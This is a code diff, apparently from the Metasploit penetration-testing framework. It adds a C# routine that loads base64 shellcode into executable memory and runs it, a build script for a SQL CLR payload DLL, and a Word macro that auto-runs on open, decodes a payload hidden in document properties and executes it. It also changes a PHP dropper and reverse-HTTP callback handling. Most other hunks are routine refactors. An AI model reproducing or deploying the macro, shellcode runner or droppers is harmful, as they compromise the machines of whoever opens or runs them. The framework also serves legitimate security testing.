|
||||
public static void ExecuteB64Payload(string base64EncodedPayload)
|
||||
{
|
||||
var bytes = Convert.FromBase64String(base64EncodedPayload);
|
||||
var mem = VirtualAlloc(IntPtr.Zero,(UIntPtr)bytes.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
System.Runtime.InteropServices.Marshal.Copy(bytes, 0, mem, bytes.Length);
|
||||
var threadId = IntPtr.Zero;
|
||||
CreateThread(IntPtr.Zero, UIntPtr.Zero, mem, IntPtr.Zero, 0, ref threadId);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,48 @@
|
|||
@ECHO OFF
|
||||
IF "%VSINSTALLDIR%" == "" GOTO NEED_VS
|
||||
|
||||
SET FRAMEWORKDIR=%VSINSTALLDIR%..\Reference Assemblies\Microsoft\Framework\.NETFramework
|
||||
SET DNETDIR=%WINDIR%\Microsoft.NET\Framework
|
||||
SET TARGETDIR=..\..\..\data\SqlClrPayload
|
||||
|
||||
mkdir "%TARGETDIR%" 2> NUL
|
||||
|
||||
SET VER=v2.0
|
||||
SET FW=%DNETDIR%\v2.0.50727
|
||||
IF EXIST "%FW%" (
|
||||
ECHO Building SqlClrPayload for .NET %VER%
|
||||
mkdir "%TARGETDIR%\%VER%" 2> NUL
|
||||
csc.exe /nologo /noconfig /unsafe+ /nowarn:1701,1702,2008 /nostdlib+ /errorreport:none /warn:4 /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"%FW%\mscorlib.dll" /reference:"%FW%\System.Data.dll" /reference:"%FW%\System.dll" /debug- /filealign:512 /optimize+ /out:%TARGETDIR%\%VER%\SqlClrPayload.dll /target:library /utf8output StoredProcedures.cs AssemblyInfo.cs AssemblyAttributes-%VER%.cs
|
||||
)
|
||||
|
||||
SET VER=v3.5
|
||||
SET CORE=%FRAMEWORKDIR%\..\%VER%
|
||||
SET FW=%DNETDIR%\v2.0.50727
|
||||
IF EXIST "%CORE%" (
|
||||
ECHO Building SqlClrPayload for .NET %VER%
|
||||
mkdir "%TARGETDIR%\%VER%" 2> NUL
|
||||
csc.exe /nologo /noconfig /unsafe+ /nowarn:1701,1702,2008 /nostdlib+ /errorreport:none /warn:4 /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"%FW%\mscorlib.dll" /reference:"%CORE%\System.Core.dll" /reference:"%FW%\System.Data.dll" /reference:"%FW%\System.dll" /debug- /filealign:512 /optimize+ /out:%TARGETDIR%\%VER%\SqlClrPayload.dll /target:library /utf8output StoredProcedures.cs AssemblyInfo.cs AssemblyAttributes-%VER%.cs
|
||||
)
|
||||
|
||||
FOR %%v IN (v4.0 v4.5 v4.5.1 v4.5.2 v4.6 v4.6.1) DO CALL :BUILDLATEST %%v
|
||||
|
||||
ECHO Done.
|
||||
GOTO :END
|
||||
|
||||
:NEED_VS
|
||||
ECHO "This command must be executed from within a Visual Studio Command prompt."
|
||||
ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools"
|
||||
|
||||
:END
|
||||
|
||||
EXIT /B 0
|
||||
|
||||
:BUILDLATEST
|
||||
SET VER=%~1
|
||||
SET FW=%FRAMEWORKDIR%\%VER%
|
||||
IF EXIST "%FW%" (
|
||||
ECHO Building SqlClrPayload for .NET %VER%
|
||||
mkdir "%TARGETDIR%\%VER%" 2> NUL
|
||||
csc.exe /nologo /noconfig /unsafe+ /nowarn:1701,1702,2008 /nostdlib+ /errorreport:none /warn:4 /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"%FW%\mscorlib.dll" /reference:"%FW%\System.Core.dll" /reference:"%FW%\System.Data.dll" /reference:"%FW%\System.dll" /debug- /filealign:512 /optimize+ /out:%TARGETDIR%\%VER%\SqlClrPayload.dll /target:library /utf8output StoredProcedures.cs AssemblyInfo.cs AssemblyAttributes-%VER%.cs
|
||||
)
|
||||
EXIT /B 0
|
|
@ -0,0 +1,92 @@
|
|||
Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long
|
||||
|
||||
Sub AutoOpen()
|
||||
On Error Resume Next
|
||||
Dim found_value As String
|
||||
|
||||
For Each prop In ActiveDocument.BuiltInDocumentProperties
|
||||
If prop.Name = "Comments" Then
|
||||
found_value = Mid(prop.Value, 56)
|
||||
orig_val = Base64Decode(found_value)
|
||||
#If Mac Then
|
||||
ExecuteForOSX (orig_val)
|
||||
#Else
|
||||
ExecuteForWindows (orig_val)
|
||||
#End If
|
||||
Exit For
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Sub ExecuteForWindows(code)
|
||||
On Error Resume Next
|
||||
Set fso = CreateObject("Scripting.FileSystemObject")
|
||||
tmp_folder = fso.GetSpecialFolder(2)
|
||||
tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe"
|
||||
Set f = fso.createTextFile(tmp_name)
|
||||
f.Write (code)
|
||||
f.Close
|
||||
CreateObject("WScript.Shell").Run (tmp_name)
|
||||
End Sub
|
||||
|
||||
Sub ExecuteForOSX(code)
|
||||
system ("echo """ & code & """ | python &")
|
||||
End Sub
|
||||
|
||||
|
||||
' Decodes a base-64 encoded string (BSTR type).
|
||||
' 1999 - 2004 Antonin Foller, http://www.motobit.com
|
||||
' 1.01 - solves problem with Access And 'Compare Database' (InStr)
|
||||
Function Base64Decode(ByVal base64String)
|
||||
'rfc1521
|
||||
'1999 Antonin Foller, Motobit Software, http://Motobit.cz
|
||||
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
||||
Dim dataLength, sOut, groupBegin
|
||||
|
||||
base64String = Replace(base64String, vbCrLf, "")
|
||||
base64String = Replace(base64String, vbTab, "")
|
||||
base64String = Replace(base64String, " ", "")
|
||||
|
||||
dataLength = Len(base64String)
|
||||
If dataLength Mod 4 <> 0 Then
|
||||
Err.Raise 1, "Base64Decode", "Bad Base64 string."
|
||||
Exit Function
|
||||
End If
|
||||
|
||||
|
||||
For groupBegin = 1 To dataLength Step 4
|
||||
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
|
||||
numDataBytes = 3
|
||||
nGroup = 0
|
||||
|
||||
For CharCounter = 0 To 3
|
||||
|
||||
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
|
||||
|
||||
If thisChar = "=" Then
|
||||
numDataBytes = numDataBytes - 1
|
||||
thisData = 0
|
||||
Else
|
||||
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
|
||||
End If
|
||||
If thisData = -1 Then
|
||||
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
|
||||
Exit Function
|
||||
End If
|
||||
|
||||
nGroup = 64 * nGroup + thisData
|
||||
Next
|
||||
|
||||
nGroup = Hex(nGroup)
|
||||
|
||||
nGroup = String(6 - Len(nGroup), "0") & nGroup
|
||||
|
||||
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
|
||||
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
|
||||
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
|
||||
|
||||
sOut = sOut & Left(pOut, numDataBytes)
|
||||
Next
|
||||
|
||||
Base64Decode = sOut
|
||||
End Function
|
|
@ -59,6 +59,10 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
def empty?
|
||||
prepended_creds.empty? && !pass_file.present? && !password.present?
|
||||
end
|
||||
|
||||
# Add {Credential credentials} that will be yielded by {#each}
|
||||
#
|
||||
# @see prepended_creds
|
||||
|
|
|
@ -207,9 +207,15 @@ class Metasploit::Framework::CredentialCollection
|
|||
|
||||
# Returns true when #each will have no results to iterate
|
||||
def empty?
|
||||
hasUser = username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty?
|
||||
hasPass = password.present? || pass_file.present? || userpass_file.present? ||!additional_privates.empty? || blank_passwords
|
||||
prepended_creds.empty? && !hasUser || (hasUser && !hasPass)
|
||||
prepended_creds.empty? && !has_users? || (has_users? && !has_privates?)
|
||||
end
|
||||
|
||||
def has_users?
|
||||
username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty?
|
||||
end
|
||||
|
||||
def has_privates?
|
||||
password.present? || pass_file.present? || userpass_file.present? || !additional_privates.empty? || blank_passwords || user_as_pass
|
||||
end
|
||||
|
||||
private
|
||||
|
|
|
@ -14,13 +14,13 @@ module Metasploit
|
|||
|
||||
# Checks if the target is BAVision Camera's web server. The login module should call this.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
|
||||
# @return [String] Error message if target is not a BAVision camera, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = normalize_uri("#{uri}")
|
||||
res = send_request({'uri'=> login_uri})
|
||||
|
||||
if res && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/)
|
||||
return true
|
||||
unless res && res.headers['WWW-Authenticate'] && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/)
|
||||
return "Unable to locate \"realm=IPCamera Login\" in headers. (Is this really a BAVision camera?)"
|
||||
end
|
||||
|
||||
false
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.13.19"
|
||||
VERSION = "4.13.25"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -43,11 +43,11 @@ module Auxiliary::UDPScanner
|
|||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
def udp_sock(ip, port)
|
||||
@udp_socks_mutex.synchronize do
|
||||
def udp_socket(ip, port)
|
||||
@udp_sockets_mutex.synchronize do
|
||||
key = "#{ip}:#{port}"
|
||||
unless @udp_socks.key?(key)
|
||||
@udp_socks[key] =
|
||||
unless @udp_sockets.key?(key)
|
||||
@udp_sockets[key] =
|
||||
Rex::Socket::Udp.create({
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'LocalPort' => datastore['CPORT'] || 0,
|
||||
|
@ -55,16 +55,16 @@ module Auxiliary::UDPScanner
|
|||
'PeerPort' => port,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
add_socket(@udp_socks[key])
|
||||
add_socket(@udp_sockets[key])
|
||||
end
|
||||
return @udp_socks[key]
|
||||
return @udp_sockets[key]
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup_udp_socks
|
||||
@udp_socks_mutex.synchronize do
|
||||
@udp_socks.each do |key, sock|
|
||||
@udp_socks.delete(key)
|
||||
def cleanup_udp_sockets
|
||||
@udp_sockets_mutex.synchronize do
|
||||
@udp_sockets.each do |key, sock|
|
||||
@udp_sockets.delete(key)
|
||||
remove_socket(sock)
|
||||
sock.close
|
||||
end
|
||||
|
@ -73,8 +73,8 @@ module Auxiliary::UDPScanner
|
|||
|
||||
# Start scanning a batch of IP addresses
|
||||
def run_batch(batch)
|
||||
@udp_socks = {}
|
||||
@udp_socks_mutex = Mutex.new
|
||||
@udp_sockets = {}
|
||||
@udp_sockets_mutex = Mutex.new
|
||||
|
||||
@udp_send_count = 0
|
||||
@interval_mutex = Mutex.new
|
||||
|
@ -122,7 +122,7 @@ module Auxiliary::UDPScanner
|
|||
resend_count = 0
|
||||
sock = nil
|
||||
begin
|
||||
sock = udp_sock(ip, port)
|
||||
sock = udp_socket(ip, port)
|
||||
sock.send(data, 0)
|
||||
|
||||
rescue ::Errno::ENOBUFS
|
||||
|
@ -160,7 +160,7 @@ module Auxiliary::UDPScanner
|
|||
queue = []
|
||||
start = Time.now
|
||||
while Time.now - start < timeout do
|
||||
readable, _, _ = ::IO.select(@udp_socks.values, nil, nil, timeout)
|
||||
readable, _, _ = ::IO.select(@udp_sockets.values, nil, nil, timeout)
|
||||
if readable
|
||||
for sock in readable
|
||||
res = sock.recvfrom(65535, timeout)
|
||||
|
@ -186,7 +186,7 @@ module Auxiliary::UDPScanner
|
|||
end
|
||||
end
|
||||
|
||||
cleanup_udp_socks
|
||||
cleanup_udp_sockets
|
||||
|
||||
queue.each do |q|
|
||||
scanner_process(*q)
|
||||
|
|
|
@ -287,24 +287,19 @@ class Exploit < Msf::Module
|
|||
# to the information hash.
|
||||
super(info)
|
||||
|
||||
# Skip this whole routine if there are no targets
|
||||
unless info['Targets'].nil?
|
||||
# Add an Automatic Target to the Exploit if it doesn't have one
|
||||
unless has_auto_target?(info['Targets'])
|
||||
# Don't add the automatic target unless there's already more than one target to pick from
|
||||
if info['Targets'].count > 1
|
||||
# Finally, only add the target if there is a remote host option
|
||||
if self.respond_to?(:rhost) && self.respond_to?(:auto_targeted_index)
|
||||
auto = ["Automatic", { 'AutoGenerated' => true}]
|
||||
info['Targets'].unshift(auto)
|
||||
end
|
||||
end
|
||||
self.default_target = info['DefaultTarget'] || 0
|
||||
|
||||
# Add an auto-target to the exploit if it doesn't have one
|
||||
if info['Targets'] && info['Targets'].count > 1 && !has_auto_target?(info['Targets'])
|
||||
# Finally, only add the target if there is a remote host option
|
||||
if self.respond_to?(:rhost) && self.respond_to?(:auto_targeted_index)
|
||||
auto = ["Automatic", {'AutoGenerated' => true}.merge(info['Targets'][self.default_target][1])]
|
||||
info['Targets'].unshift(auto)
|
||||
end
|
||||
end
|
||||
|
||||
self.targets = Rex::Transformer.transform(info['Targets'], Array,
|
||||
[ Target ], 'Targets')
|
||||
self.default_target = info['DefaultTarget'] || 0
|
||||
self.payload_info = info['Payload'] || {}
|
||||
self.successful = false
|
||||
self.session_count = 0
|
||||
|
|
|
@ -463,10 +463,17 @@ module Exploit::Remote::HttpClient
|
|||
end
|
||||
|
||||
# Returns the complete URI as string including the scheme, port and host
|
||||
def full_uri
|
||||
def full_uri(custom_uri = nil)
|
||||
uri_scheme = ssl ? 'https' : 'http'
|
||||
uri_port = rport.to_s == '80' ? '' : ":#{rport}"
|
||||
uri = normalize_uri(target_uri.to_s)
|
||||
|
||||
if (rport == 80 && !ssl) || (rport == 443 && ssl)
|
||||
uri_port = ''
|
||||
else
|
||||
uri_port = ":#{rport}"
|
||||
end
|
||||
|
||||
uri = normalize_uri(custom_uri || target_uri.to_s)
|
||||
|
||||
"#{uri_scheme}://#{rhost}#{uri_port}#{uri}"
|
||||
end
|
||||
|
||||
|
|
|
@ -92,7 +92,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs
|
|||
# @return [String] Wordpress Admin Update URL
|
||||
def wordpress_url_admin_update
|
||||
normalize_uri(wordpress_url_backend, 'update.php')
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the Wordpress wp-content dir URL
|
||||
#
|
||||
|
@ -129,4 +129,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs
|
|||
normalize_uri(target_uri.path, 'xmlrpc.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress REST API URL
|
||||
#
|
||||
# @return [String] Wordpress REST API URL
|
||||
def wordpress_url_rest_api
|
||||
normalize_uri(target_uri.path, 'index.php/wp-json/wp/v2')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
module Msf::Exploit::Remote::HTTP::Wordpress::Version
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot
|
||||
WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
WORDPRESS_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'
|
||||
|
||||
# Extracts the Wordpress version information from various sources
|
||||
#
|
||||
|
@ -107,10 +107,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version
|
|||
private
|
||||
|
||||
def wordpress_version_helper(url, regex)
|
||||
res = send_request_cgi(
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
)
|
||||
}, 3.5)
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
return match[1] if match
|
||||
|
|
|
@ -52,14 +52,13 @@ module Exploit::PhpEXE
|
|||
end
|
||||
p = Rex::Text.encode_base64(generate_payload_exe)
|
||||
php = %Q{
|
||||
error_reporting(0);
|
||||
#{php_preamble}
|
||||
$ex = "#{bin_name}";
|
||||
$f = fopen($ex, "wb");
|
||||
fwrite($f, base64_decode("#{p}"));
|
||||
fclose($f);
|
||||
chmod($ex, 0777);
|
||||
function my_cmd($cmd) {
|
||||
#{php_preamble}
|
||||
#{php_system_block};
|
||||
}
|
||||
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
|
||||
|
|
|
@ -59,6 +59,7 @@ module ReverseHttp
|
|||
OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]),
|
||||
OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']),
|
||||
OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']),
|
||||
OptString.new('OverrideScheme', [false, 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https']),
|
||||
OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']),
|
||||
OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
|
@ -91,6 +92,7 @@ module ReverseHttp
|
|||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def payload_uri(req=nil)
|
||||
callback_host = nil
|
||||
callback_scheme = nil
|
||||
|
||||
# Extract whatever the client sent us in the Host header
|
||||
if req && req.headers && req.headers['Host']
|
||||
|
@ -103,6 +105,7 @@ module ReverseHttp
|
|||
if datastore['OverrideRequestHost'] || callback_host.nil?
|
||||
callback_host = datastore['OverrideLHOST']
|
||||
callback_port = datastore['OverrideLPORT']
|
||||
callback_scheme = datastore['OverrideScheme']
|
||||
end
|
||||
|
||||
if callback_host.nil? || callback_host.empty?
|
||||
|
@ -113,6 +116,10 @@ module ReverseHttp
|
|||
callback_port = datastore['LPORT']
|
||||
end
|
||||
|
||||
if callback_scheme.nil? || callback_scheme.empty?
|
||||
callback_scheme = scheme
|
||||
end
|
||||
|
||||
if Rex::Socket.is_ipv6? callback_host
|
||||
callback_host = "[#{callback_host}]"
|
||||
end
|
||||
|
@ -122,9 +129,9 @@ module ReverseHttp
|
|||
end
|
||||
|
||||
if callback_port
|
||||
"#{scheme}://#{callback_host}:#{callback_port}"
|
||||
"#{callback_scheme}://#{callback_host}:#{callback_port}"
|
||||
else
|
||||
"#{scheme}://#{callback_host}"
|
||||
"#{callback_scheme}://#{callback_host}"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -26,6 +26,7 @@ module Msf::Payload::Php
|
|||
# Canonicalize the list of disabled functions to facilitate choosing a
|
||||
# system-like function later.
|
||||
preamble = "/*<?php /**/
|
||||
@error_reporting(0);
|
||||
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
|
||||
#{dis}=@ini_get('disable_functions');
|
||||
if(!empty(#{dis})){
|
||||
|
|
|
@ -86,7 +86,7 @@ if (!$s) { die(); }
|
|||
|
||||
php << php_send_uuid if include_send_uuid
|
||||
|
||||
php << %Q^switch ($s_type) {
|
||||
php << %Q^switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
|
|
|
@ -33,7 +33,7 @@ module Msf::Payload::TransportConfig
|
|||
|
||||
def transport_config_reverse_https(opts={})
|
||||
config = transport_config_reverse_http(opts)
|
||||
config[:scheme] = 'https'
|
||||
config[:scheme] = datastore['OverrideScheme'] || 'https'
|
||||
config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
config
|
||||
|
@ -51,7 +51,7 @@ module Msf::Payload::TransportConfig
|
|||
end
|
||||
|
||||
{
|
||||
scheme: 'http',
|
||||
scheme: datastore['OverrideScheme'] || 'http',
|
||||
lhost: opts[:lhost] || datastore['LHOST'],
|
||||
lport: (opts[:lport] || datastore['LPORT']).to_i,
|
||||
uri: uri,
|
||||
|
|
|
@ -28,6 +28,9 @@ class Client
|
|||
# @option info [String] :token A token used by the client.
|
||||
# @return [void]
|
||||
def initialize(info={})
|
||||
@user = nil
|
||||
@pass = nil
|
||||
|
||||
self.info = {
|
||||
:host => '127.0.0.1',
|
||||
:port => 3790,
|
||||
|
@ -41,14 +44,16 @@ class Client
|
|||
end
|
||||
|
||||
|
||||
# Logs in by calling the 'auth.login' API. The authentication token will expire 5 minutes
|
||||
# after the last request was made.
|
||||
# Logs in by calling the 'auth.login' API. The authentication token will expire after 5
|
||||
# minutes, but will automatically be rewnewed when you make a new RPC request.
|
||||
#
|
||||
# @param [String] user Username.
|
||||
# @param [String] pass Password.
|
||||
# @raise RuntimeError Indicating a failed authentication.
|
||||
# @return [TrueClass] Indicating a successful login.
|
||||
def login(user,pass)
|
||||
@user = user
|
||||
@pass = pass
|
||||
res = self.call("auth.login", user, pass)
|
||||
unless (res && res['result'] == "success")
|
||||
raise RuntimeError, "authentication failed"
|
||||
|
@ -58,6 +63,14 @@ class Client
|
|||
end
|
||||
|
||||
|
||||
# Attempts to login again with the last known user name and password.
|
||||
#
|
||||
# @return [TrueClass] Indicating a successful login.
|
||||
def re_login
|
||||
login(@user, @pass)
|
||||
end
|
||||
|
||||
|
||||
# Calls an API.
|
||||
#
|
||||
# @param [String] meth The RPC API to call.
|
||||
|
@ -75,6 +88,10 @@ class Client
|
|||
# # {"version"=>"4.11.0-dev", "ruby"=>"2.1.5 x86_64-darwin14.0 2014-11-13", "api"=>"1.0"}
|
||||
# rpc.call('core.version')
|
||||
def call(meth, *args)
|
||||
if meth == 'auth.logout'
|
||||
do_logout_cleanup
|
||||
end
|
||||
|
||||
unless meth == "auth.login"
|
||||
unless self.token
|
||||
raise RuntimeError, "client not authenticated"
|
||||
|
@ -84,6 +101,36 @@ class Client
|
|||
|
||||
args.unshift(meth)
|
||||
|
||||
begin
|
||||
send_rpc_request(args)
|
||||
rescue Msf::RPC::ServerException => e
|
||||
if e.message =~ /Invalid Authentication Token/i && meth != 'auth.login' && @user && @pass
|
||||
re_login
|
||||
args[1] = self.token
|
||||
retry
|
||||
else
|
||||
raise e
|
||||
end
|
||||
ensure
|
||||
@cli.close if @cli
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Closes the client.
|
||||
#
|
||||
# @return [void]
|
||||
def close
|
||||
if @cli && @cli.conn?
|
||||
@cli.close
|
||||
end
|
||||
@cli = nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def send_rpc_request(args)
|
||||
unless @cli
|
||||
@cli = Rex::Proto::Http::Client.new(info[:host], info[:port], info[:context], info[:ssl], info[:ssl_version])
|
||||
@cli.set_config(
|
||||
|
@ -101,7 +148,6 @@ class Client
|
|||
)
|
||||
|
||||
res = @cli.send_recv(req)
|
||||
@cli.close
|
||||
|
||||
if res && [200, 401, 403, 500].include?(res.code)
|
||||
resp = MessagePack.unpack(res.body)
|
||||
|
@ -118,18 +164,11 @@ class Client
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
# Closes the client.
|
||||
#
|
||||
# @return [void]
|
||||
def close
|
||||
if @cli && @cli.conn?
|
||||
@cli.close
|
||||
end
|
||||
@cli = nil
|
||||
def do_logout_cleanup
|
||||
@user = nil
|
||||
@pass = nil
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -890,9 +890,10 @@ class Core
|
|||
Rex::Socket::SwitchBoard.flush_routes
|
||||
|
||||
when "print"
|
||||
tbl = Table.new(
|
||||
# IPv4 Table
|
||||
tbl_ipv4 = Table.new(
|
||||
Table::Style::Default,
|
||||
'Header' => "Active Routing Table",
|
||||
'Header' => "IPv4 Active Routing Table",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' =>
|
||||
|
@ -907,6 +908,25 @@ class Core
|
|||
'Netmask' => { 'MaxWidth' => 17 },
|
||||
})
|
||||
|
||||
# IPv6 Table
|
||||
tbl_ipv6 = Table.new(
|
||||
Table::Style::Default,
|
||||
'Header' => "IPv6 Active Routing Table",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' =>
|
||||
[
|
||||
'Subnet',
|
||||
'Netmask',
|
||||
'Gateway',
|
||||
],
|
||||
'ColProps' =>
|
||||
{
|
||||
'Subnet' => { 'MaxWidth' => 17 },
|
||||
'Netmask' => { 'MaxWidth' => 17 },
|
||||
})
|
||||
|
||||
# Populate Route Tables
|
||||
Rex::Socket::SwitchBoard.each { |route|
|
||||
if (route.comm.kind_of?(Msf::Session))
|
||||
gw = "Session #{route.comm.sid}"
|
||||
|
@ -914,14 +934,22 @@ class Core
|
|||
gw = route.comm.name.split(/::/)[-1]
|
||||
end
|
||||
|
||||
tbl << [ route.subnet, route.netmask, gw ]
|
||||
tbl_ipv4 << [ route.subnet, route.netmask, gw ] if Rex::Socket.is_ipv4?(route.netmask)
|
||||
tbl_ipv6 << [ route.subnet, route.netmask, gw ] if Rex::Socket.is_ipv6?(route.netmask)
|
||||
}
|
||||
|
||||
if tbl.rows.length == 0
|
||||
print_status('There are currently no routes defined.')
|
||||
else
|
||||
print(tbl.to_s)
|
||||
# Print Route Tables
|
||||
print(tbl_ipv4.to_s) if tbl_ipv4.rows.length > 0
|
||||
print(tbl_ipv6.to_s) if tbl_ipv6.rows.length > 0
|
||||
|
||||
if (tbl_ipv4.rows.length + tbl_ipv6.rows.length) < 1
|
||||
print_status("There are currently no routes defined.")
|
||||
elsif (tbl_ipv4.rows.length < 1) && (tbl_ipv6.rows.length > 0)
|
||||
print_status("There are currently no IPv4 routes defined.")
|
||||
elsif (tbl_ipv4.rows.length > 0) && (tbl_ipv6.rows.length < 1)
|
||||
print_status("There are currently no IPv6 routes defined.")
|
||||
end
|
||||
|
||||
else
|
||||
cmd_route_help
|
||||
end
|
||||
|
|
|
@ -202,7 +202,7 @@ class Creds
|
|||
end
|
||||
|
||||
begin
|
||||
params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','host','port')
|
||||
params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','address','port','protocol', 'service-name')
|
||||
rescue ArgumentError => e
|
||||
print_error(e.message)
|
||||
end
|
||||
|
@ -213,6 +213,13 @@ class Creds
|
|||
print_error("You can only specify a single Private type. Private types given: #{private_keys.join(', ')}")
|
||||
return
|
||||
end
|
||||
|
||||
login_keys = params.slice('address','port','protocol','service-name')
|
||||
if login_keys.any? and login_keys.length < 3
|
||||
missing_login_keys = ['host','port','proto','service-name'] - login_keys.keys
|
||||
print_error("Creating a login requires a address, a port, and a protocol. Missing params: #{missing_login_keys}")
|
||||
return
|
||||
end
|
||||
|
||||
data = {
|
||||
workspace_id: framework.db.workspace,
|
||||
|
@ -260,9 +267,17 @@ class Creds
|
|||
data[:private_type] = :nonreplayable_hash
|
||||
data[:private_data] = params['hash']
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
create_credential(data)
|
||||
if login_keys.any?
|
||||
data[:address] = params['address']
|
||||
data[:port] = params['port']
|
||||
data[:protocol] = params['protocol']
|
||||
data[:service_name] = params['service-name']
|
||||
create_credential_and_login(data)
|
||||
else
|
||||
create_credential(data)
|
||||
end
|
||||
rescue ActiveRecord::RecordInvalid => e
|
||||
print_error("Failed to add #{data['private_type']}: #{e}")
|
||||
end
|
||||
|
|
|
@ -192,6 +192,8 @@ module ModuleCommandDispatcher
|
|||
if (code and code.kind_of?(Array) and code.length > 1)
|
||||
if (code == Msf::Exploit::CheckCode::Vulnerable)
|
||||
print_good("#{peer} #{code[1]}")
|
||||
# Restore RHOST for report_vuln
|
||||
instance.datastore['RHOST'] ||= rhost
|
||||
report_vuln(instance)
|
||||
else
|
||||
print_status("#{peer} #{code[1]}")
|
||||
|
|
|
@ -116,16 +116,13 @@ class Channel
|
|||
begin
|
||||
response = client.send_request(request)
|
||||
cid = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
|
||||
rescue RequestError
|
||||
# Handle channel open failure exceptions
|
||||
if cid.nil?
|
||||
raise Rex::Post::Meterpreter::RequestError
|
||||
end
|
||||
end
|
||||
|
||||
if cid
|
||||
# Create the channel instance
|
||||
klass.new(client, cid, type, flags)
|
||||
else
|
||||
raise Rex::ConnectionRefused
|
||||
end
|
||||
# Create the channel instance
|
||||
klass.new(client, cid, type, flags)
|
||||
end
|
||||
|
||||
##
|
||||
|
|
|
@ -222,7 +222,11 @@ class Dir < Rex::Post::Dir
|
|||
end
|
||||
|
||||
dir_files.each { |src_sub|
|
||||
dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub)
|
||||
dst_sub = src_sub.dup
|
||||
dst_sub.gsub!(::File::SEPARATOR, '_') # '/' on all systems
|
||||
dst_sub.gsub!(::File::ALT_SEPARATOR, '_') if ::File::ALT_SEPARATOR # nil on Linux, '\' on Windows
|
||||
|
||||
dst_item = ::File.join(dst, client.unicode_filter_encode(dst_sub))
|
||||
src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub)
|
||||
|
||||
if (src_sub == '.' or src_sub == '..')
|
||||
|
|
|
@ -373,6 +373,12 @@ private
|
|||
def download_file( dest_folder, source )
|
||||
stat = client.fs.file.stat( source )
|
||||
base = ::Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File.basename( source )
|
||||
|
||||
# Basename ends up with a single name/folder. This is the only point where it
|
||||
# may be possible to do a dir trav up one folder. We need to check to make sure
|
||||
# that the basename doesn't result in a traversal
|
||||
return false if base == '..'
|
||||
